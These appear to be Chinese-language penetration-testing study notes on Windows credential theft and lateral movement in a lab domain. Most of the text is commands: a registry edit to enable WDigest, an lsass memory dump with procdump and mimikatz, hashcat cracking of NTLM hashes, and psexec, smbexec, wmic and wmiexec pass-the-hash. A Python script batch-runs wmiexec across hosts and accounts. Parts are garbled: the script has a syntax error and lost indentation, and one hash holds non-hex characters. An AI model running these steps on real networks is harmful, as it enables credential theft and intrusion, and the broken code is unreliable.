image-20220310104214086

image-20220310164740622

知识点1

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码

Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

针对以上情况,我们提供了4种方式解决此类问题

  1. 利用哈希hash传递(pth、ptk等)进行移动
  2. 利用其它服务协议(SMB、WMI等)进行哈希移动
  3. 利用注册表操作开启Wdigest Auth值进行获取。修改注册表:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 作者:shtome https://www.bilibili.com/read/cv14518781 出处:bilibili
  4. 利用工具或第三方平台(Hachcat)进行破解获取

知识点2

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

Procdump+Mimikatz配合获取密码

当mimikatz获取密码失败或被杀时,可以配合procdump来获取密码

先将procdump上传至目标机器,运行生成.dump文件

1
procdump -accepteula -ma lsass.exe lsass.dmp

然后将.dump文件拷贝到攻击机上使用mimikatz来获取密码

1
2
3
sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

附两款提取密码的软件

Pwdump7

QuarksPwdump

Hashcat破解获取Windows NTML Hash

hashcat -a 0 -m 1000 hash file --force
# -a 0 表示采用字典破解
# -m 1000表示指向什么协议,这里时NTLM
# hash 传输形式

该工具还支持更多密码破解

Hashcat:https://github.com/hashcat/hashcat

密码破解全能工具:Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html

域横向移动SMB服务利用-psexec、smbexec(官方自带)

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放(hash传递需要借助第三方工具,官方Pstools无法采用hash连接)

psexec第一种:先有ipc连接

1
2
3
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator

psexec \\192.168.3.32 -s cmd # 需要现有ipc连接,-s以system权限运行

psexec第二种:不用建立IPC连接直接提供密码

1
2
3
4
5
# 官方自带的psexec只能传递明文
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd

# 工具包impacket里的psexec
psexec -hashes :518b98ad4178a53695dc997aa0wd455c ./administrator@192.168.3.32

第三方工具smbexec无需ipc连接,支持明文和hash传递

用法和psexec差不多

1
2
3
smbexec god/administrator:Admin12345@192.168.3.21

smbexec -hashes :518b98ad4178a53695dc997aa0wd455c ./administrator@192.168.3.32 # 目前hash值一般都是NTLM的

域横向移动WMI服务利用-cscript、wmiexec、wmic

WMI(Windows Management Instrumentation)是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹

1
2
3
4
5
6
7
8
9
10
# 自带WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt" # 需要将结果保存到文件中查看

# 自带cscript 明文传递 有回现
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345 # 需要借助wmiexec.vbs,github上找的到

# 套件impacket wmiexec 明文或hash传递 有回现
wmiexec ./administrator:admin!45@192.168.3.32 "whoami"

wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"

横向移动对于以上服务hash批量利用-python编译成exe

参考之前的python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 利用代码
'''
1.安装pyinstaller
pip install pyinstaller

2.生成可执行EXE
Pyinstaller -F py文件

3.会生成一个同名的exe文件
'''

import os, time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.33'
}

users={# 通过net user /domain收集
'Administrator',
'mary',
'webadmin'
}s

hashs={
'518b98ad4178a53695dc997aa02d455c',
'ccef208c6485269c20db2cad21734fe7'
}

for ip in ips:
for user in users:
for _hash in hashs:
exec="wmiexec -hashes :"+_hash+"god/"+user+"@"+ip+" whoami" # 对于域用户
exec1="wmiexec -hashes :"+_hash+"./"+user+"@"+ip+" whoami" # 对于本地用户

print('--->'+exec+'<---')
print('--->'+exec1+'<---')

os.system(exec)
os.system(exec1)
time.sleep(1)

资源

PsTools:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

mimikatz:https://github.com/gentilkiwi/mimikatz

impacket-examples-windows:https://gitee.com/RichChigga/impacket-examples-windows